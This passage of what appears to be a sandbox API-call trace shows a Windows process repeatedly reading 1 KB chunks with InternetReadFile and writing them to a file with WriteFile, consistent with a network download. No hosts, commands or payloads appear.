[0061.477] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.477] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.477] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.477] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.477] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.478] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.478] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.478] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.478] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.478] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.478] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.478] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.478] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.478] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.478] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.478] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.478] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.478] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.478] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.479] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.479] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.479] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.479] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.479] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.479] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.479] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.479] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.479] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.479] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.479] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.479] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.479] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.479] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.480] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.480] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.480] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.480] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.480] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.480] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.480] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.480] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.480] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.480] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.480] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.480] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.480] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.480] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.480] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.481] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.481] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.481] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.481] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.481] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.481] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.481] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.481] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.481] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.481] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.481] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.481] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.481] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.481] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.482] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.482] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.482] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.482] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.482] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.482] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.482] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.482] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.482] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.482] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.482] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.482] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.482] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.482] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.482] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.483] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.483] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.483] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.483] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.483] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.483] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.483] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.483] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.483] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.483] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.483] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.483] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.483] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.483] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.483] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.483] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.484] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.484] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.484] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.484] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.484] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.484] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.484] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.484] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.484] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
